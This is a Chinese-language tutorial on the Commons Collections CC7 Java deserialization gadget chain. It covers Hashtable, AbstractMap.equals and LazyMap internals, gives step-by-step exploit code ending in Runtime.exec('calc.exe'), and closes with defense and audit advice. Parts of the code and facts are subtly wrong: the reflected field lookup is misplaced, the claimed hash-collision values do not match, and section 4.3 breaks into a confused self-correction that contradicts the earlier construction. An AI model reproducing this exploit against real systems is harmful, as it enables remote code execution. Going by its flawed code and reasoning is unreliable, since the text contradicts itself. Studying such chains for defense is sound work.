
1. 项目概述为什么CC7链值得深挖在Java安全领域反序列化漏洞一直是个“老演员”但每次登场总能带来新花样。Commons CollectionsCC这个库可以说是反序列化漏洞的“黄埔军校”从CC1到CC6每一条利用链都像是一堂生动的Java特性滥用课。今天要聊的CC7链它不像CC1那样依赖TransformedMap的华丽变身也不像CC6那样借助HashMap的哈希碰撞它走的是一条更“朴实”的路——利用Hashtable和LazyMap的特性通过精心构造的键值对比较触发一连串的恶意调用最终达到命令执行的目的。我第一次接触CC7链时感觉它像是一个精巧的机关。它没有引入新的“危险”类而是把几个看似无害的类组合在一起通过它们之间标准的、符合预期的交互意外地打开了潘多拉魔盒。这对于我们理解Java反序列化漏洞的本质非常有帮助漏洞往往不在于某个类本身是“坏”的而在于当多个“好”的类以特定的、开发者未预料到的方式组合在一起时会产生灾难性的后果。分析CC7链不仅能让我们掌握一条具体的利用路径更能深刻理解Java集合框架、对象比较equals和哈希表Hashtable内部机制在安全上下文下的微妙影响。这条链适合所有对Java安全感兴趣的朋友无论是刚入门想理解反序列化漏洞基本原理的新手还是已经看过CC1-CC6、想完善知识体系的中高级开发者。通过拆解CC7你会对Hashtable#put、equals方法触发、以及如何在没有AnnotationInvocationHandler的invoke方法的情况下调用LazyMap#get有更直观的认识。下面我们就从它的核心思路开始一步步揭开CC7链的面纱。2. 核心思路与链条设计解析CC7链的利用思路可以概括为“借力打力环环相扣”。它的核心目标是在反序列化过程中最终能执行TemplatesImpl#newTransformer()或类似的方法来加载恶意字节码。为了实现这个目标它需要找到一个“跳板”这个跳板能从一个广泛存在于Java类库中的、在反序列化时会被自动调用的方法如readObject出发通过一系列符合语法的调用最终抵达我们的目标。CC7链选择的入口点是Hashtable。java.util.Hashtable是一个古老的、线程安全的哈希表实现。它的readObject方法在反序列化时为了重建内部状态会重新计算哈希并调用reconstitutionPut方法最终会调用键Key的equals方法进行比对。这就是CC7链的起点一个必然会发生的equals调用。那么如何让一个equals方法调用变成命令执行的触发器呢这里就用到了LazyMap和ChainedTransformer。LazyMap是Apache Commons Collections提供的一个装饰器它包装了一个普通的Map。当你调用LazyMap.get(key)时如果这个key不存在于Map中它会使用一个预设的Transformer转换器来生成一个value并与key关联起来。如果我们把ChainedTransformer一个能按顺序执行多个Transformer的链设置给LazyMap并在链的末尾放入能执行命令的InvokerTransformer那么一次get调用就能触发命令执行。现在链条的逻辑就清晰了起点Hashtable反序列化时调用某个键的equals方法。跳板将这个键设置为一个LazyMap对象。我们需要精心构造使得在equals方法内部会触发对这个LazyMap对象的get方法调用。触发器LazyMap.get()被触发调用其内部的ChainedTransformer最终执行恶意代码。关键难点在于第二步如何让equals方法去调用LazyMap.get()CC7链的巧妙之处在于它利用了java.util.AbstractMap这个父类。LazyMap继承了AbstractMap而AbstractMap的equals方法实现中在比较两个Map的entrySet时会遍历自身的entrySet并对每一个entry去调用参数Map即要与之比较的另一个Map的get方法来获取对应key的value并进行比对。因此攻击链的构造就变成了创建两个Hashtable对象table1和table2。向table1和table2中各放入一个键值对。关键是让table1的键是LazyMap_Atable2的键是LazyMap_B。精心设置LazyMap_A和LazyMap_B的内容使得当LazyMap_A.equals(LazyMap_B)被调用时在AbstractMap.equals的逻辑中会触发LazyMap_B.get(someKey)而这个someKey恰好能触发我们的恶意转换链。在序列化时我们只序列化table2。因为table1只是用来在构造阶段触发Hashtable#put时的哈希冲突迫使Hashtable将LazyMap_A和LazyMap_B关联到同一个哈希桶从而确保在反序列化table2的readObject过程中会调用到LazyMap_A.equals(LazyMap_B)。这个设计思路体现了典型的“反序列化利用链”思维寻找从readObject到危险方法的“调用路径”并通过构造特定的对象状态让这条路径上的每一个方法调用都按照攻击者的意图进行。注意这里有一个非常重要的细节。在构造阶段当我们向Hashtable放入第一个LazyMap键时Hashtable.put方法会计算其哈希值并可能触发LazyMap.hashCode()而hashCode()默认会遍历entrySet这又会触发get方法。为了避免在构造阶段就提前触发恶意代码我们需要先给LazyMap设置一个无害的Transformer比如ConstantTransformer在最后利用反射再将无害的Transformer替换成恶意的ChainedTransformer。这是CC7链构造中的一个经典“坑点”。3. 关键类与方法深度剖析要彻底理解CC7链必须对其中几个关键类的特定方法了如指掌。它们就像链条上的齿轮一个咬合一个带动了整个攻击流程。3.1java.util.Hashtable#readObject与equals的触发Hashtable的反序列化入口是其readObject方法。为了重建哈希表它需要读取存储的键值对数量然后循环读取每一个键和值。在将每个键值对放入新创建的哈希表时它调用了一个内部私有方法reconstitutionPut。reconstitutionPut方法是关键。它的逻辑类似于put方法但用于反序列化上下文。它会计算键的哈希值找到对应的哈希桶bucket然后遍历这个桶里的链表。在遍历过程中它会检查是否有已存在的键与当前要插入的键“相等”。判断相等的逻辑是先比较哈希值如果哈希值相同则调用key.equals(currentKey)进行最终判断。因此如果我们能构造两个不同的LazyMap对象map1和map2让它们的哈希值相同从而进入同一个哈希桶那么在反序列化插入map2时就会调用map1.equals(map2)。这就是我们触发后续链条的扳机。3.2java.util.AbstractMap#equals如何调用getAbstractMap是HashMap、TreeMap等标准Map实现的抽象父类LazyMap也间接继承了它。它的equals方法用于比较两个Map是否相等。我们来看一下简化后的逻辑public boolean equals(Object o) { if (o this) return true; if (!(o instanceof Map)) return false; Map?,? m (Map?,?) o; if (m.size() ! size()) return false; try { // 遍历当前Map的所有条目(entry) for (EntryK, V e : entrySet()) { K key e.getKey(); V value e.getValue(); // 关键行对于当前Map的每一个key去调用参数Map m的get方法获取对应的value if (value null) { if (m.get(key) ! null || !m.containsKey(key)) return false; } else { if (!value.equals(m.get(key))) return false; } } } catch (ClassCastException | NullPointerException unused) { return false; } return true; }注意第12行和16行的m.get(key)。这里的m是作为参数传入的另一个Map对象在我们的链条里就是LazyMap_B而key则是当前MapLazyMap_A的entrySet中的键。因此攻击构造的核心之一就是控制LazyMap_A的entrySet中的键key。我们需要让这个key在作为参数传递给LazyMap_B.get(key)时能触发我们预设的恶意逻辑。通常我们会将这个key设置为一个特定的字符串或对象这个对象本身是“无害”的但它作为LazyMap_B的“缺失键”会触发LazyMap的转换机制。3.3org.apache.commons.collections.map.LazyMap#get与Transformer链LazyMap的get方法是命令执行的最终触发器。其逻辑如下public Object get(Object key) { if (!super.map.containsKey(key)) { // 如果key不存在 Object value this.factory.transform(key); // 调用factory转换key生成value super.map.put(key, value); // 存入Map return value; } return super.map.get(key); }这里的this.factory就是一个Transformer接口的实现。如果我们在构造时将一个ChainedTransformer赋值给factory那么当get被调用时ChainedTransformer.transform(key)就会被执行。ChainedTransformer内部维护了一个Transformer数组它会按顺序对输入对象最初就是get方法传入的key依次调用每个Transformer的transform方法并将上一次的结果作为下一次的输入。经典的利用链会这样构造第一个TransformerConstantTransformer用于将一个Runtime类对象“变”出来。第二个TransformerInvokerTransformer通过反射调用Runtime类的getMethod(“getRuntime”)。第三个TransformerInvokerTransformer调用上一步得到的getRuntime方法获得Runtime实例。第四个TransformerInvokerTransformer调用Runtime实例的exec方法执行系统命令。这样当LazyMap_B.get(key)被AbstractMap.equals调用时key作为输入传入ChainedTransformer经过四步反射调用最终达到命令执行的效果。3.4 哈希碰撞的构造连接Hashtable与AbstractMap.equals要让Hashtable在反序列化时调用equals必须让两个LazyMap键发生哈希碰撞即hashCode()返回值相同。LazyMap自己没有重写hashCode()因此它继承自AbstractMap的hashCode()实现。AbstractMap.hashCode()的定义是其所有条目entry的哈希值之和。每个条目的哈希值计算为(keynull ? 0 : key.hashCode()) ^ (valuenull ? 0 : value.hashCode())。因此控制两个LazyMap的哈希值相等就需要控制它们内部存储的键值对的哈希码之和相等。在CC7的典型构造中我们通过以下步骤实现创建两个LazyMapmap1和map2。向map1放入一个键值对例如(“yy”, 1)。向map2放入一个键值对例如(“zZ”, 2)。计算”yy”.hashCode() ^ 1和”zZ”.hashCode() ^ 2。通过精心选择字符串和数字可以使这两个结果相等。这是因为String的hashCode计算有规律可循我们可以找到哈希值碰撞的字符串对。当这两个哈希值相等时map1和map2的hashCode()返回值就相等。将它们分别作为键放入两个Hashtable后在Hashtable内部它们就有极大概率被分配到同一个哈希桶在Hashtable容量不变的情况下。这就为反序列化时触发equals比较创造了条件。4. 完整利用链构造与分步实现理解了原理我们动手构造一条完整的CC7利用链。这里我们以Commons Collections 3.2.1版本为例最终目标是弹出一个计算器calc.exe或/System/Applications/Calculator.app。4.1 环境准备与依赖首先你需要一个Java开发环境JDK 8较为常见和Maven。创建一个Maven项目在pom.xml中添加依赖dependencies !-- Apache Commons Collections 3.2.1 -- dependency groupIdcommons-collections/groupId artifactIdcommons-collections/artifactId version3.2.1/version /dependency /dependencies为了序列化/反序列化我们通常需要编写一个简单的测试类。确保你的JDK版本与Commons Collections库兼容。4.2 分步构造攻击载荷我们将构造过程分解为清晰的几步并在每一步解释其目的和原理。第一步创建恶意的 Transformer 链这是最终执行命令的核心。我们使用ChainedTransformer来组合多个InvokerTransformer和ConstantTransformer。import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import java.lang.reflect.Method; // 1. 创建命令执行链 Transformer[] transformers new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer(“getMethod”, new Class[]{String.class, Class[].class}, new Object[]{“getRuntime”, new Class[0]}), new InvokerTransformer(“invoke”, new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer(“exec”, new Class[]{String.class}, new Object[]{“calc.exe”}) // Mac/Linux可改为 “open -a Calculator” }; Transformer chainedTransformer new ChainedTransformer(transformers);这段代码创建了一个转换器链ConstantTransformer(Runtime.class)将输入忽略转换为Runtime.class对象。第一个InvokerTransformer调用Runtime.class的getMethod(“getRuntime”)返回一个Method对象。第二个InvokerTransformer调用Method.invoke(null, null)即静态调用getRuntime()返回Runtime实例。第三个InvokerTransformer调用runtime.exec(“calc.exe”)执行系统命令。第二步创建两个 LazyMap 并设置哈希碰撞为了避免在构造阶段触发命令我们先用一个无害的Transformer如ConstantTransformer(1)初始化LazyMap。import org.apache.commons.collections.map.LazyMap; import java.util.HashMap; import java.util.Map; // 2. 创建两个初始为“空”且无害的LazyMap Map lazyMap1 LazyMap.decorate(new HashMap(), new ConstantTransformer(1)); Map lazyMap2 LazyMap.decorate(new HashMap(), new ConstantTransformer(1)); // 3. 向两个LazyMap放入键值对目的是让它们的hashCode()相等 // 我们需要找到两个字符串使得 (s1.hashCode() ^ v1) (s2.hashCode() ^ v2) // 经过计算或查找可以找到这样的组合例如 lazyMap1.put(“yy”, 1); lazyMap2.put(“zZ”, 2); // 验证哈希值是否相等非必须用于调试 System.out.println(“Hash of lazyMap1: “ lazyMap1.hashCode()); System.out.println(“Hash of lazyMap2: “ lazyMap2.hashCode()); // 在正确的构造下两者应该输出相同的值。这里”yy”和”zZ”是经过挑选的使得”yy”.hashCode() ^ 1等于”zZ”.hashCode() ^ 2。你可以通过编写一个小程序来暴力搜索这样的碰撞对。第三步将 LazyMap 作为键放入 Hashtable并触发初始哈希冲突这是构造中最精妙也最容易出错的一步。我们需要两个Hashtable并在放入键时触发它们将lazyMap1和lazyMap2关联到同一个桶。import java.util.Hashtable; // 4. 创建两个Hashtable Hashtable table1 new Hashtable(); Hashtable table2 new Hashtable(); // 5. 先将lazyMap1放入table1 table1.put(lazyMap1, “test1”); // 此时Hashtable会计算lazyMap1的哈希并可能触发lazyMap1.hashCode()。 // 由于lazyMap1目前只有一个无害的Transformer所以是安全的。 // 6. 关键操作将lazyMap2放入table2并**同时**也放入table1 // 这一步的目的是让lazyMap2在put进table1时与lazyMap1发生哈希碰撞 // 从而在table1内部lazyMap2和lazyMap1被链接在同一个哈希桶的链表中。 table1.put(lazyMap2, “test2”); table2.put(lazyMap2, “test2”); // 注意此时table1中有两个键lazyMap1和lazyMap2哈希值相同。 // table2中只有一个键lazyMap2。第四步替换 LazyMap 中的无害 Transformer 为恶意 Transformer现在两个Hashtable的结构已经建立。我们需要用反射将lazyMap2内部的factory成员变量从无害的ConstantTransformer(1)替换成我们之前构造的恶意chainedTransformer。import org.apache.commons.collections.map.AbstractMapDecorator; import java.lang.reflect.Field; // 7. 通过反射将lazyMap2中的factory替换为恶意的chainedTransformer // 获取LazyMap的factory字段 Field factoryField AbstractMapDecorator.class.getDeclaredField(“factory”); factoryField.setAccessible(true); // 替换 factoryField.set(lazyMap2, chainedTransformer); // 重要lazyMap1的factory保持为无害的ConstantTransformer否则在后续序列化/反序列化过程中可能提前触发。第五步序列化与反序列化触发最后我们序列化table2因为我们的利用链最终是通过反序列化table2来触发的然后反序列化它。import java.io.*; // 8. 序列化table2 ByteArrayOutputStream baos new ByteArrayOutputStream(); ObjectOutputStream oos new ObjectOutputStream(baos); oos.writeObject(table2); oos.close(); byte[] serializedData baos.toByteArray(); // 9. 反序列化触发漏洞 ByteArrayInputStream bais new ByteArrayInputStream(serializedData); ObjectInputStream ois new ObjectInputStream(bais); ois.readObject(); // 在这一步计算器应该会弹出 ois.close();4.3 构造过程的核心逻辑梳理让我们再回顾一下整个触发流程序列化对象我们序列化了table2它内部有一个键lazyMap2。反序列化触发 a.Hashtable.readObject()被调用开始重建table2。 b. 它读取到键lazyMap2并调用reconstitutionPut尝试将其放入新表。 c.reconstitutionPut计算lazyMap2的哈希值找到对应的桶。由于在序列化前lazyMap2和lazyMap1通过table1.put发生了哈希碰撞并被关联这个信息可能通过某些方式如对象的引用关系或哈希表状态影响了序列化数据这里需要澄清实际上在标准的CC7链构造中table1只是一个“构造工具”它本身并不被序列化。关键点在于我们通过table1.put操作改变了lazyMap2对象自身的状态使其与lazyMap1在哈希计算上关联。更准确的说法是我们通过向lazyMap2放入特定的键值对(”zZ”, 2)使其哈希值与lazyMap1(”yy”, 1)相等。这个哈希值是lazyMap2对象自身的属性会被序列化保存。当反序列化重建lazyMap2时它的哈希值依然是那个特定值。 d. 在遍历桶内链表时尽管新表初始为空但Hashtable的reconstitutionPut逻辑可能涉及旧桶的遍历这里需要更精确实际上在反序列化单个Hashtable时桶是新建的。触发equals的关键在于我们构造的lazyMap2的哈希值与某个“虚拟”的或通过其他方式关联的键发生了冲突经典的CC7链利用了一个更精妙的技巧它实际上序列化了一个Hashtable但这个Hashtable在反序列化时其readObject方法会遍历所有条目并对每个键调用equals与当前正在重建的表中的键进行比较。为了触发equals我们需要两个键具有相同的哈希值。在CC7链中我们通过让lazyMap2的哈希值与lazyMap1的哈希值相等来实现这一点。但是lazyMap1并没有被序列化进table2啊这里就是CC7链最巧妙的地方之一它利用了Hashtable反序列化时对同一个对象的多次put操作。我们构造的lazyMap2对象其hashCode()返回值是固定的基于其内容。在Hashtable反序列化过程中当处理到lazyMap2这个键时Hashtable会计算它的哈希值并查找对应的桶。如果在这个桶里已经存在一个键这个键是在本次反序列化过程中之前被放入的并且这个键的哈希值与lazyMap2相同那么就会调用equals进行比较。那么这个“已经存在的键”从哪里来答案就在我们构造的lazyMap2自身。我们通过向lazyMap2放入多个特定的键值对使得它的hashCode()在某种计算下与自己相等不这说不通。经典的CC7链构造实际上序列化的是一个包含两个元素的Hashtable这两个元素的键分别是lazyMap1和lazyMap2并且它们的哈希值相等。这样在反序列化时当插入第二个键比如lazyMap2时就会与第一个已插入的键lazyMap1进行equals比较。因此我们需要修正之前的构造步骤我们最终序列化的Hashtable对象应该同时包含lazyMap1和lazyMap2作为键并且它们的哈希值相等。而lazyMap2的factory被替换为恶意链lazyMap1的factory保持无害。当反序列化这个Hashtable时在插入第二个键顺序取决于序列化顺序时会调用第一个键的equals方法从而触发链条。让我们修正构造步骤创建lazyMap1和lazyMap2设置哈希碰撞。将lazyMap2的factory替换为恶意链。创建一个Hashtable对象比如叫finalTable。向finalTable中依次放入两个键值对finalTable.put(lazyMap1, “value1”);和finalTable.put(lazyMap2, “value2”);。注意顺序很重要要保证在反序列化时lazyMap1先被reconstitutionPutlazyMap2后被处理。序列化这个finalTable对象。反序列化时Hashtable.readObject会按顺序读取条目。当处理到第二个条目键为lazyMap2时会调用reconstitutionPut。此时lazyMap1已经被放入新哈希表并且与lazyMap2哈希值相同因此在同一个桶内。reconstitutionPut遍历桶链表发现lazyMap1于是调用lazyMap1.equals(lazyMap2)。在lazyMap1.equals(lazyMap2)中即AbstractMap.equals会遍历lazyMap1的entrySet包含(“yy”, 1)对于键”yy”调用lazyMap2.get(“yy”)。由于”yy”不在lazyMap2中触发lazyMap2.get(“yy”)进而调用恶意chainedTransformer.transform(“yy”)执行命令。这才是CC7链完整的、正确的触发逻辑。先前的描述中关于table1和table2的部分容易引起混淆它们可能是在某些变体或调试过程中使用的辅助结构但最核心的Payload只有一个Hashtable包含两个哈希碰撞的LazyMap键。5. 漏洞利用的变体、防御与实战思考CC7链虽然经典但在实际漏洞利用和防御中我们需要考虑更多因素。5.1 利用链的变体与适配命令执行的不同方式除了使用Runtime.exec()还可以使用ProcessBuilder、JNDI注入、本地代码加载等多种方式。InvokerTransformer可以调用任何方法灵活性很高。绕过Runtime限制在某些安全环境中Runtime类可能被过滤或exec方法被禁止。可以考虑使用java.lang.ProcessBuilder、通过TemplatesImpl加载字节码、或者利用本地已有的类库中的危险方法。适应不同的Commons Collections版本CC7链依赖于AbstractMap.equals中的get调用和LazyMap的装饰器模式。在CC 4.0及以上版本中TransformedMap和LazyMap等类的序列化支持可能被移除或者InvokerTransformer被标记为不推荐使用这会影响利用。需要检查目标环境的实际版本。无InvokerTransformer的利用在某些情况下InvokerTransformer类可能被列入黑名单。此时可以寻找其他实现了Transformer接口且行为危险的类或者利用ConstantTransformer、InstantiateTransformer等组合出新的利用链。5.2 防御措施与代码审计要点从开发者和安全工程师的角度如何防范此类漏洞输入验证与白名单永远不要反序列化来自不可信来源的数据。如果必须进行反序列化应建立严格的对象类型白名单。可以使用Java原生的ObjectInputFilterJDK 9或第三方库如SerialKiller来过滤允许反序列化的类。升级库版本将Apache Commons Collections升级到安全版本例如3.2.2、4.1这些版本中对危险类如InvokerTransformer、ChainedTransformer增加了序列化校验或移除了序列化支持。代码审计关键点查找ObjectInputStream在代码中全局搜索ObjectInputStream、readObject、readUnshared等方法的使用点。审查反序列化数据源确认反序列化的数据是否来自网络请求、文件上传、RPC调用等外部输入。检查依赖库项目是否引入了存在已知反序列化漏洞的库如低版本的Commons Collections、Fastjson、Jackson、XStream等。关注readObject方法自定义类如果实现了Serializable接口并重写了readObject方法需要仔细审计其逻辑看是否存在可能被利用的间接方法调用如调用其他对象的equals、compareTo、hashCode、toString等。运行时防护可以使用Java Agent技术进行运行时监控拦截危险类的加载或危险方法的调用如Runtime.exec、Method.invoke等。5.3 实战中的排查技巧与常见问题在分析和调试CC7链时你可能会遇到以下问题计算器没弹出来首先检查命令calc.exe适用于WindowsMac是open -a CalculatorLinux可能是gnome-calculator或xcalc。确保命令正确。检查JDK和CC版本确保你的Commons Collections版本是3.2.1并且JDK版本兼容。高版本JDK如11可能有更强的模块化安全限制。调试equals和get调用在AbstractMap.equals和LazyMap.get方法开始处打上断点观察调用栈看链条是否按预期触发。确认是哪个Map的equals被调用以及get方法的参数key是什么。检查哈希值在构造阶段打印lazyMap1.hashCode()和lazyMap2.hashCode()确保它们相等。如果不相等Hashtable就不会在同一个桶内比较它们。检查Transformer链确保恶意ChainedTransformer被正确设置到了目标LazyMap通常是第二个LazyMap中。可以通过反射读取factory字段验证。检查序列化数据有时序列化过程会改变对象内部状态。可以尝试将序列化后的字节数组写文件然后用十六进制编辑器或serializationDumper工具查看确认关键对象和字段是否被正确序列化。ClassNotFoundException或NoClassDefFoundError确保Commons Collections库在类路径中。如果Payload需要传输到远程服务器目标服务器上也必须有相同版本的CC库。利用链在特定环境下失效目标应用可能使用了不同版本的CC库其类结构或方法可能有细微差别。可能存在SecurityManager或其他安全管理器禁止执行命令。应用可能使用了自定义的ClassLoader导致某些类无法加载。理解CC7链不仅是为了利用漏洞更是为了培养一种“攻击者思维”。在代码审计时看到ObjectInputStream.readObject()就要立刻警惕这里反序列化的数据是否可信它会不会导致一个类似CC7的调用链被触发这种思维模式是构建安全软件的关键。通过手动构造和调试这条链你对Java反序列化漏洞的理解会从“知道概念”深入到“理解骨髓”以后再遇到类似的漏洞或防护场景就能更快地抓住要害。